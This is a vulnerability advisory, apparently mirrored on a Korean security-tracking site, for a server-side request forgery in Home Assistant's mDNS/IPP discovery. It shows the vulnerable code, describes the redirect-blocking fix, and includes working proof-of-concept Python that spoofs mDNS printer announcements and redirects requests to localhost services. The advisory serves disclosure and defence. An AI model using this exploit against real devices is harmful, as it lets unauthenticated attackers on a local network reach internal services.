Home Assistant: mDNS Server-Side Request Forgery
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N상세 설명
Summary
Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.
Details
Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.
The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:
1async def async_step_zeroconf( 2 self, discovery_info: ZeroconfServiceInfo 3) -> ConfigFlowResult: 4 host = discovery_info.host 5 port = discovery_info.port 6 zctype = discovery_info.type 7 name = discovery_info.name.replace(f".{zctype}", "") 8 tls = zctype == "_ipps._tcp.local." 9 base_path = discovery_info.properties.get("rp", "ipp/print")10 11 self.discovery_info.update(12 {13 CONF_HOST: host,14 CONF_PORT: port,15 CONF_SSL: tls,16 CONF_VERIFY_SSL: False,17 CONF_BASE_PATH: f"/{base_path}",18 CONF_NAME: name,19 CONF_UUID: unique_id,20 }21 )These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
1async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]: 2 session = async_get_clientsession(hass) 3 ipp = IPP( 4 host=data[CONF_HOST], 5 port=data[CONF_PORT], 6 base_path=data[CONF_BASE_PATH], 7 tls=data[CONF_SSL], 8 verify_ssl=data[CONF_VERIFY_SSL], 9 session=session,10 )11 printer = await ipp.printer()12 return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.
PoC
The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.
Prerequisites
- Attacker machine on the same local network as the Home Assistant Green device
- Python 3 with dependencies:
pip install -r requirements.txt
Exploit Code
The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
1def build_dns_response(service_name, service_type, attacker_ip, attacker_port): 2 transaction_id = 0x0000 # mDNS always 0 3 flags = 0x8400 # Standard response, authoritative answer 4 qdcount = 0 5 ancount = 4 # 4 answers (service_type, SRV, TXT, A) 6 nscount = 0 7 arcount = 0 8 9 SRV = service_name + '.' + service_type10 header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)11 12 def encode_name(name):13 parts = name.split(".")14 out = b""15 for p in parts:16 out += bytes([len(p)]) + p.encode("utf-8")17 out += b"\x00"18 return out19 20 answers = b""21 22 # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local23 answers += encode_name(service_type)24 answers += struct.pack("!HHI", 12, 1, 1)25 target = encode_name(SRV)26 answers += struct.pack("!H", len(target)) + target27 28 # SRV record29 answers += encode_name(SRV)30 answers += struct.pack("!HHI", 33, 1, 120)31 srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")32 answers += struct.pack("!H", len(srv_data)) + srv_data33 34 # TXT record35 txt_strs = [b"abcd=efgh"]36 txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)37 answers += encode_name(SRV)38 answers += struct.pack("!HHI", 16, 1, 120)39 answers += struct.pack("!H", len(txt_record)) + txt_record40 41 # A record: hihiabcdmeomeo.local -> attacker IP42 answers += encode_name("hihiabcdmeomeo.local")43 answers += struct.pack("!HHI", 1, 1, 120)44 ip_bytes = socket.inet_aton(attacker_ip)45 answers += struct.pack("!H", len(ip_bytes)) + ip_bytes46 47 return header + answers48 49def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):50 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)51 sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)52 packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)53 sock.sendto(packet, (has_ip, 5353))The attacker's HTTP server redirects the incoming IPP request to an internal service:
1class RedirectHandler(BaseHTTPRequestHandler): 2 def do_POST(self): 3 self.send_response(302) 4 self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>") 5 self.end_headers()Usage
1python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeoExploit Flow
- The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
- A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
- Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
- The attacker's server responds with a 302 redirect to
http://127.0.0.1:<port>/<path> - Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf
Impact
An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
Mitigations
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Acknowledgements
Discovered by ZDI (ZDI-CAN-28336)
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…